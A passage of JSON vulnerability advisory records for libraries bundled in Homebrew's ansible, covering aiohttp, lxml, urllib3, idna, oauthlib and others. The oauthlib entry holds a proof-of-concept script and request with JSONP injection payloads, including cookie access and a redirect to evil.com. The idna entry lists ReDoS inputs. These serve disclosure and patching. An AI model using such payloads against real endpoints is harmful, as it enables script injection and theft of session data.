:"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.13.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.5"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.5","key":"pkg:pypi/aiohttp@3.14.5","resource":"aiohttp"}]},"summary":"AIOHTTP's C parser (llhttp) accepts null bytes and control characters in response header values - header injection/security bypass","details":"### Summary\n\nThe C parser (the default for most installs) accepted null bytes and control characters in request headers.\n\n### Impact\n\nAn attacker could send header values that are interpreted differently than expected due to the presence of control characters. For example, `request.url.origin()` may return a different value than the raw Host header, or what a reverse proxy interpreted it as., potentially resulting in some kind of security bypass.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/9370b9714a7a56003cacd31a9b4ae16eab109ba4","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-63hf-3vf5-4wqf"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34520"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/9370b9714a7a56003cacd31a9b4ae16eab109ba4"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.13.4"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/aiohttp/PYSEC-2026-2102.yaml"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2026-34525","published":"2026-08-13T16:35:22Z","modified":"2026-10-29T21:31:24Z","upstream":["GHSA-c427-h43c-vf67","CVE-2026-34525","PYSEC-2026-2103"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.13.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.5"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.5","key":"pkg:pypi/aiohttp@3.14.5","resource":"aiohttp"}]},"summary":"AIOHTTP accepts duplicate Host headers","details":"### Summary\n\nMultiple Host headers were allowed in aiohttp.\n\n### Impact\n\nMostly this doesn't affect aiohttp security itself, but if a reverse proxy is applying security rules depending on the target Host, it is theoretically possible that the proxy and aiohttp could process different host names, possibly resulting in bypassing a security check on the proxy and getting a request processed by aiohttp in a privileged sub app when using `Application.add_domain()`.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/e00ca3cca92c465c7913c4beb763a72da9ed8349\nPatch: https://github.com/aio-libs/aiohttp/commit/53e2e6fc58b89c6185be7820bd2c9f40216b3000","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:L/SI:L/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-c427-h43c-vf67"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34525"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/53e2e6fc58b89c6185be7820bd2c9f40216b3000"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/e00ca3cca92c465c7913c4beb763a72da9ed8349"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.13.4"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2026-34993","published":"2026-08-13T16:35:22Z","modified":"2026-10-29T21:31:24Z","upstream":["GHSA-jg22-mg44-37j8","CVE-2026-34993","PYSEC-2026-2104"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.14.0","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.5"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.5","key":"pkg:pypi/aiohttp@3.14.5","resource":"aiohttp"}]},"summary":"AIOHTTP is Vulnerable to Deserialization of Untrusted Data","details":"### Summary\n\nUsing ``CookieJar.load()`` with untrusted input may allow arbitrary code execution.\n\n### Impact\n\nMost applications using this function will be doing so with the user's own data, so this is unlikely to affect many applications.\n\n### Workaround\n\nIf an application does allow attacker controlled files to be loaded, a workaround on older releases would be to sanitise the files before loading.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/dcf40f30637e8752c76781cf6703b5a236749a00","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:H/PR:H/UI:R/S:C/C:L/I:H/A:L"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-jg22-mg44-37j8"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34993"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/dcf40f30637e8752c76781cf6703b5a236749a00"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2026-41066","published":"2026-08-13T16:35:22Z","modified":"2026-10-13T22:10:16Z","upstream":["GHSA-vfmq-68hx-4jfw","CVE-2026-41066","PYSEC-2026-87"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.9.2"},{"fixed":"2.1.2.0"},{"introduced":"2.3.0.0_2"},{"fixed":"8.4.0"},{"introduced":"9.2.0"},{"fixed":"13.5.0_2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"6.1.0","resource":"lxml","resource_purl":"pkg:pypi/lxml@6.1.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"lxml","subject_version":"6.1.3","key":"pkg:pypi/lxml@6.1.3","resource":"lxml"}]},"summary":"lxml: Default configuration of iterparse() and ETCompatXMLParser() allows XXE to local files","details":"### Impact\nUsing either of the two parsers in the default configuration (with `resolve_entities=True`) allows untrusted XML input to read local files.\n\n### Patches\nlxml 6.1.0 changes the default to `resolve_entities='internal'`, thus disallowing local file access by default.\n\n### Workarounds\nSetting the `resolve_entities` option explicitly to `resolve_entities='internal'` or `resolve_entities=False` disables the local file access.\n\n### Resources\nOriginal report: https://bugs.launchpad.net/lxml/+bug/2146291\n\nThe default option was changed to `resolve_entities='internal'` for the normal XML and HTML parsers in lxml 5.0. The default was not changed for `iterparse()` and `ETCompatXMLParser()` at the time. lxml 6.1 makes the safe option the default for all parsers.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"}],"references":[{"type":"WEB","url":"https://github.com/lxml/lxml/security/advisories/GHSA-vfmq-68hx-4jfw"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-41066"},{"type":"WEB","url":"https://bugs.launchpad.net/lxml/+bug/2146291"},{"type":"PACKAGE","url":"https://github.com/lxml/lxml"},{"type":"WEB","url":"https://github.com/lxml/lxml/releases/tag/lxml-6.1.0"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/lxml/PYSEC-2026-87.yaml"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2026-44405","published":"2026-08-13T16:35:22Z","modified":"2026-11-09T08:43:30Z","upstream":["GHSA-r374-rxx8-8654","CVE-2026-44405","PYSEC-2026-2858"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"5.0.0","resource":"paramiko","resource_purl":"pkg:pypi/paramiko@5.1.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"paramiko","subject_version":"5.1.0","key":"pkg:pypi/paramiko@5.1.0","resource":"paramiko"}]},"summary":"Paramiko rsakey.py allows the SHA-1 algorithm","details":"In Paramiko through 4.0.0 before a448945, rsakey.py allows the SHA-1 algorithm.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:C/C:N/I:L/A:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44405"},{"type":"WEB","url":"https://github.com/paramiko/paramiko/commit/a4489456b6f65281e172380cc4826cee5e851dbb"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-r374-rxx8-8654"},{"type":"PACKAGE","url":"https://github.com/paramiko/paramiko"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/paramiko/PYSEC-2026-2858.yaml"},{"type":"WEB","url":"https://ostif.org/wp-content/uploads/2026/05/25-11-2415-REP_paramiko-security-audit_v1.1.pdf"},{"type":"WEB","url":"https://pypi.org/project/paramiko"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2026-44431","published":"2026-08-13T16:35:22Z","modified":"2026-10-07T23:13:11Z","upstream":["GHSA-qccp-gfcp-xxvc","CVE-2026-44431","PYSEC-2026-141"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.6.0"},{"fixed":"13.6.0_1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.7.0","resource":"urllib3","resource_purl":"pkg:pypi/urllib3@2.8.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"urllib3","subject_version":"2.8.0","key":"pkg:pypi/urllib3@2.8.0","resource":"urllib3"}]},"summary":"urllib3: Sensitive headers forwarded across origins in proxied low-level redirects","details":"### Impact\n\nWhen following cross-origin redirects for requests made using urllib3’s high-level APIs, such as `urllib3.request()`, `PoolManager.request()`, and `ProxyManager.request()`, sensitive headers — `Authorization`, `Cookie`, and `Proxy-Authorization` (defined in `Retry.DEFAULT_REMOVE_HEADERS_ON_REDIRECT`) — are stripped by default, as expected.\n\nHowever, cross-origin redirects followed from the low-level API via `ProxyManager.connection_from_url().urlopen(..., assert_same_host=False)` still forward these sensitive headers.\n\n### Affected usage\n\nApplications and libraries using urllib3 versions earlier than 2.7.0 may be affected if they allow cross-origin redirects while making requests through `HTTPConnection.urlopen()` instances created via `ProxyManager.connection_from_url()`.\n\n### Remediation\n\nUpgrade to urllib3 version 2.7.0 or later, in which sensitive headers are stripped from redirects followed by `HTTPConnection`.\n\nIf upgrading is not immediately possible, avoid using this low-level redirect flow for cross-origin redirects. If appropriate for your use case, switch to `ProxyManager.request()`.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/urllib3/urllib3/security/advisories/GHSA-qccp-gfcp-xxvc"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44431"},{"type":"PACKAGE","url":"https://github.com/urllib3/urllib3"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2026-44432","published":"2026-08-13T16:35:22Z","modified":"2026-10-13T22:10:16Z","upstream":["GHSA-mf9v-mfxr-j63j","CVE-2026-44432","PYSEC-2026-142"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"13.1.0"},{"fixed":"13.2.0"},{"introduced":"13.2.0_2"},{"fixed":"13.6.0_1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.7.0","resource":"urllib3","resource_purl":"pkg:pypi/urllib3@2.8.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"urllib3","subject_version":"2.8.0","key":"pkg:pypi/urllib3@2.8.0","resource":"urllib3"}]},"summary":"urllib3: Decompression-bomb safeguards bypassed in parts of the streaming API","details":"### Impact\n\nurllib3's [streaming API](https://urllib3.readthedocs.io/en/2.7.0/advanced-usage.html#streaming-and-i-o) is designed for the efficient handling of large HTTP responses by reading the content in chunks, rather than loading the entire response body into memory at once.\n\nurllib3 can perform decompression based on the HTTP `Content-Encoding` header (e.g., `gzip`, `deflate`, `br`, or `zstd`). When using the streaming API since version 2.6.0, the library decompresses only the necessary bytes, enabling partial content consumption.\n\nHowever, urllib3 before version 2.7.0 could still decompress the whole response instead of the requested portion in two cases:\n1. During the second `HTTPResponse.read(amt=N)` call when the response was decompressed using the official [Brotli](https://pypi.org/project/brotli/) library.\n2. When `HTTPResponse.drain_conn()` was called after the response had been read and decompressed partially (compression algorithm did not matter here).\n\nThese issues could cause urllib3 to fully decode a small amount of highly compressed data in a single operation. This could result in excessive resource consumption (high CPU usage and massive memory allocation for the decompressed data; CWE-409) on the client side.\n\n\n### Affected usages\n\nApplications and libraries using urllib3 versions earlier than 2.7.0 may be affected when streaming compressed responses from untrusted sources in either of these cases, unless decompression is explicitly disabled:\n\n1. A response encoded with `br` is read incrementally with at least two `HTTPResponse.read(amt=N)` or `HTTPResponse.stream(amt=N)` calls while using the official [Brotli](https://pypi.org/project/brotli/) library.\n2. `HTTPResponse.drain_conn()` is called after response decompression has already started.\n\n\n### Remediation\n\nUpgrade to at least urllib3 version 2.7.0 in which the library:\n1. Is more efficient for reads with Brotli.\n2. Always skips decompression for `HTTPResponse.drain_conn()`.\n\nIf upgrading is not immediately possible, the following workarounds may reduce exposure in specific cases:\n1. For the Brotli-specific issue only, switch from [brotli](https://pypi.org/project/brotli/) to [brotlicffi](https://pypi.org/project/brotlicffi/) until you can upgrade urllib3; the official Brotli package is affected because of https://github.com/google/brotli/issues/1396.\n2. If your code explicitly calls `HTTPResponse.drain_conn()`, call `HTTPResponse.close()` instead when connection reuse is not important.\n\n\n### Credits\n\nThe Brotli-specific issue was reported by @kimkou2024.\n`HTTPResponse.drain_conn()` inefficiency was reported by @Cycloctane.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H"}],"references":[{"type":"WEB","url":"https://github.com/urllib3/urllib3/security/advisories/GHSA-mf9v-mfxr-j63j"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44432"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/urllib3/PYSEC-2026-142.yaml"},{"type":"PACKAGE","url":"https://github.com/urllib3/urllib3"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2026-4539","published":"2026-08-13T16:35:22Z","modified":"2026-10-07T23:12:39Z","upstream":["GHSA-5239-wwwm-4pmq","CVE-2026-4539","PYSEC-2026-2987"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.8.0"},{"fixed":"13.5.0_1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.20.0","resource":"pygments","resource_purl":"pkg:pypi/pygments@2.21.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pygments","subject_version":"2.21.0","key":"pkg:pypi/pygments@2.21.0","resource":"pygments"}]},"summary":"Pygments has Regular Expression Denial of Service (ReDoS) due to Inefficient Regex for GUID Matching","details":"A security flaw has been discovered in pygments before 2.20.0. The impacted element is the function AdlLexer of the file pygments/lexers/archetype.py. The manipulation results in inefficient regular expression complexity. The attack is only possible with local access. The exploit has been released to the public and may be used for attacks. The project was informed of the problem early through an issue report but has not responded yet.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-4539"},{"type":"WEB","url":"https://github.com/pygments/pygments/issues/3058"},{"type":"WEB","url":"https://github.com/pygments/pygments/pull/3064"},{"type":"WEB","url":"https://github.com/pygments/pygments/commit/24b8aa76c6cd6d70f39c6dd605cce319c98e2ccc"},{"type":"PACKAGE","url":"https://github.com/pygments/pygments"},{"type":"WEB","url":"https://github.com/pygments/pygments/releases/tag/2.20.0"},{"type":"WEB","url":"https://vuldb.com/?ctiid.352327"},{"type":"WEB","url":"https://vuldb.com/?id.352327"},{"type":"WEB","url":"https://vuldb.com/?submit.774685"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2026-45409","published":"2026-08-13T16:35:22Z","modified":"2026-10-07T23:12:20Z","upstream":["GHSA-65pc-fj4g-8rjx","CVE-2026-45409","PYSEC-2026-215"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.9.2"},{"fixed":"13.6.0_2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.15","resource":"idna","resource_purl":"pkg:pypi/idna@3.20"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"idna","subject_version":"3.20","key":"pkg:pypi/idna@3.20","resource":"idna"}]},"summary":"Internationalized Domain Names in Applications (IDNA): Specially crafted inputs to idna.encode() can bypass CVE-2024-3651 fix","details":"This is the same issue as CVE-2024-3651, however the original remediation in 2024 was not a complete fix. Payloads such as `\"\\u0660\" * N` or `\"\\u30fb\" * N + \"\\u6f22\"` utilize the `valid_contexto` function prior to length rejection, and for high values of `N` will take a long time to process.\n\n### Impact\nA specially crafted argument to the `idna.encode()` function could consume significant resources. This may lead to a denial-of-service.\n\n### Patches\nStarting in version 3.14, the function rejects long inputs as soon as practicable prior to any further processing to minimize resource consumption. In version 3.15, this approach was extended to lesser used alternate functions (i.e. per-label conversions and codec support).\n\n### Workarounds\nDomain names cannot exceed 253 characters in length, if this length limit is enforced prior to passing the domain to the `idna.encode()` function it should no longer consume significant resources. This is triggered by arbitrarily large inputs that would not occur in normal usage, but may be passed to the library assuming there is no preliminary input validation by the higher-level application.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/kjd/idna/security/advisories/GHSA-65pc-fj4g-8rjx"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45409"},{"type":"PACKAGE","url":"https://github.com/kjd/idna"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/idna/PYSEC-2026-215.yaml"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2026-47265","published":"2026-08-13T16:35:22Z","modified":"2026-10-29T21:31:24Z","upstream":["GHSA-hg6j-4rv6-33pg","CVE-2026-47265","PYSEC-2026-2105"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.14.0","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.5"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.5","key":"pkg:pypi/aiohttp@3.14.5","resource":"aiohttp"}]},"summary":"AIOHTTP is vulnerable to cross-origin redirect with per-request cookies","details":"### Summary\n\nCookies set with the `cookies` parameter on requests are sent after following a cross-origin redirect.\n\n### Impact\n\nIf a developer uses the `cookies` parameter on a per-request basis then sensitive data might be leaked to an attacker if they manage to control a redirect.\n\n### Workaround\n\nIf unable to upgrade, using a `Cookie` header in the `headers` parameter is not vulnerable.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/f54c40851b0d6c4bbdab97ba518a223adda32478","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-hg6j-4rv6-33pg"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-47265"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/f54c40851b0d6c4bbdab97ba518a223adda32478"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2026-49264","published":"2026-09-30T18:44:09Z","modified":"2026-11-09T08:43:30Z","upstream":["GHSA-hj66-6f7g-4r5v","CVE-2026-49264","PYSEC-2026-4113"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.8.4_1"},{"fixed":"14.4.0_1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"4.0.0","resource":"oauthlib","resource_purl":"pkg:pypi/oauthlib@4.0.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"oauthlib","subject_version":"4.0.1","key":"pkg:pypi/oauthlib@4.0.1","resource":"oauthlib"}]},"summary":"Oauthlib : Unsafe JSONP callback injection in RevocationEndpoint allows arbitrary JavaScript response generation","details":"### Summary\n\nWhen `enable_jsonp=True`, oauthlib's `RevocationEndpoint` reflects the user-supplied `callback` parameter directly into JavaScript response bodies on both success and error paths without validating that it is a legal JSONP callback name. This allows arbitrary JavaScript response generation instead of a restricted function call, making the documented JSONP revocation feature unsafe for browser-based JSONP consumption when attackers can influence `callback`.\n\n### Details\n\nThe issue is in `oauthlib/oauth2/rfc6749/endpoints/revocation.py`.\n\nWhen `enable_jsonp=True` is passed to the `RevocationEndpoint` constructor, two code paths wrap the response body using the user-supplied `request.callback` parameter:\n\n```python\n# Error response path (line 72-73):\nif self.enable_jsonp and request.callback:\n    response_body = '{}({});'.format(request.callback, response_body)\n\n# Success response path (line 81-82):\nif self.enable_jsonp and request.callback:\n    response_body = request.callback + '();'\n```\n\nThe `request.callback` value comes from HTTP request parameters, either the query string or POST body, via the `Request` class in `oauthlib/common.py` (lines 394-395), which merges query and body parameters into `_params`. Any value the client sends as `callback` is used verbatim.\n\nThere is no validation of any kind on the callback parameter:\n- No check that it is a valid JavaScript identifier\n- No whitelist of allowed characters\n- No escaping or sanitization\n\nA safe JSONP implementation must validate that the callback is a legal JavaScript function name (e.g., matching `^[a-zA-Z_$][a-zA-Z0-9_$.]*$`). Without this, the attacker controls the JavaScript code returned in the response body. This is the standard mitigation used by jQuery, Express.js, Google APIs, and other major JSONP implementations.\n\n**How the injection works:**\n\nAn attacker sends a revocation request with a crafted callback value:\n\n```\nPOST /revoke HTTP/1.1\nContent-Type: application/x-www-form-urlencoded\n\ntoken=anything&callback=alert(document.cookie)//\n```\n\nThe server responds with:\n\n```\nalert(document.cookie)//({\"error\": \"invalid_client\"});\n```\n\nThis is syntactically valid JavaScript. `alert(document.cookie)` executes as a statement, and `//` comments out the rest of the line. The attacker has full control over the code that appears before the `//`.\n\n**Execution context and attack surface:**\n\nJSONP works by having a browser load a remote script via `<script src=\"...\">`. The loaded script executes in the origin of the **including page**, not the remote server. This means a `<script src=\"https://auth.example.com/revoke?token=x&callback=payload\">` tag on `evil.com` would execute the payload in `evil.com`'s context, not the auth server's context.\n\nThe impact comes from client-side integrations that consume this endpoint as trusted JSONP. If a legitimate OAuth client includes `<script src>` pointed at the revocation endpoint and an attacker can influence the callback value (e.g., via query parameter injection, a reflected value, or a man-in-the-middle downgrade), the attacker controls what code runs in the client application's origin. The authorization server becomes a source of attacker-controlled JavaScript that client applications trust and execute.\n\nNote: the `enable_jsonp` parameter defaults to `False`, so only deployments that explicitly opt in are affected. However, this is a supported, documented library feature, not a debug flag. The client-side library includes `prepare_token_revocation_request()` with an explicit `callback` parameter (`oauthlib/oauth2/rfc6749/parameters.py`, line 174), and the documentation shows JSONP revocation as a use case (`oauthlib/oauth2/rfc6749/clients/base.py`, lines 351-358). The existing test suite tests JSONP callback reflection with a benign value (`test_revocation_endpoint.py`, lines 91-101) but does not test for injection. Deployments that enable JSONP typically do so to support older browsers or cross-origin revocation from JavaScript clients, these are exactly the environments most sensitive to script injection.\n\n### PoC\n\n**Requirements:** Python 3.x with oauthlib installed (`pip install oauthlib`).\n\n```python\nfrom oauthlib.oauth2.rfc6749.endpoints.revocation import RevocationEndpoint\nfrom oauthlib.oauth2.rfc6749.request_validator import RequestValidator\n\n\nclass FailValidator(RequestValidator):\n    \"\"\"Auth fails -> triggers error response path (lines 72-73).\"\"\"\n    def client_authentication_required(self, request, *a, **kw): return True\n    def authenticate_client(self, request, *a, **kw): return False\n    def authenticate_client_id(self, client_id, request, *a, **kw): return False\n\n\nclass PassValidator(RequestValidator):\n    \"\"\"Auth passes -> triggers success response path (lines 81-82).\"\"\"\n    def client_authentication_required(self, request, *a, **kw): return False\n    def authenticate_client_id(self, client_id, request, *a, **kw): return True\n    def revoke_token(self, token, token_type_hint, request, *a, **kw): pass\n\n\npayloads = [\n    \"alert(document.cookie)//\",\n    \"window.location='https://evil.com/'//\",\n    \"eval('malicious')//\",\n]\n\n# --- Error path (401) ---\nprint(\"Error path (enable_jsonp=True, auth fails):\")\nep_fail = RevocationEndpoint(FailValidator(), enable_jsonp=True)\nfor p in payloads:\n    h, body, status = ep_fail.create_revocation_response(\n        \"https://auth.example.com/revoke\", http_method=\"POST\",\n        body=f\"token=x&callback={p}\")\n    assert p in body, \"Payload not reflected\"\n    print(f\"  [{status}] Content-Type: {h.get('Content-Type','(none)')}  Body: {body}\")\n\n# --- Success path (200) ---\nprint(\"\\nSuccess path (enable_jsonp=True, revocation succeeds):\")\nep_pass = RevocationEndpoint(PassValidator(), enable_jsonp=True)\nfor p in payloads:\n    h, body, status = ep_pass.create_revocation_response(\n        \"https://auth.example.com/revoke\", http_method=\"POST\",\n        body=f\"token=x&callback={p}\")\n    assert p in body, \"Payload not reflected\"\n    print(f\"  [{status}] Content-Type: {h.get('Content-Type','(none)')}  Body: {body}\")\n\n# --- Control (default: enable_jsonp=False) ---\nprint(\"\\nControl (enable_jsonp=False, default):\")\nep_safe = RevocationEndpoint(FailValidator(), enable_jsonp=False)\n_, body, status = ep_safe.create_revocation_response(\n    \"https://auth.example.com/revoke\", http_method=\"POST\",\n    body=\"token=x&callback=alert(1)//\")\nassert \"alert\" not in body, \"Payload should not be present\"\nprint(f\"  [{status}] {body}\")\nprint(\"\\nAll assertions passed.\")\n```\n\n**Expected output:**\n\n```\nError path (enable_jsonp=True, auth fails):\n  [401] Content-Type: application/json  Body: alert(document.cookie)//({\"error\": \"invalid_client\"});\n  [401] Content-Type: application/json  Body: window.location='https://evil.com/'//({\"error\": \"invalid_client\"});\n  [401] Content-Type: application/json  Body: eval('malicious')//({\"error\": \"invalid_client\"});\n\nSuccess path (enable_jsonp=True, revocation succeeds):\n  [200] Content-Type: (none)  Body: alert(document.cookie)//();\n  [200] Content-Type: (none)  Body: window.location='https://evil.com/'//();\n  [200] Content-Type: (none)  Body: eval('malicious')//();\n\nControl (enable_jsonp=False, default):\n  [401] {\"error\": \"invalid_client\"}\n\nAll assertions passed.\n```\n\nBoth paths reflect the attacker's payload verbatim into the response body.\n\n### Impact\n\nAny oauthlib-based authorization server that enables JSONP on the revocation endpoint (`enable_jsonp=True`) returns attacker-controlled JavaScript in its response body.\n\nAny page or application that loads this endpoint's response as JSONP and exposes attacker influence over the `callback` parameter will execute attacker-controlled code in its own origin. If a legitimate OAuth client uses JSONP revocation (as documented by oauthlib's client-side API) and an attacker can influence the callback value, the attacker controls what code runs in the client application, including access to the client page's DOM and any data normally accessible to 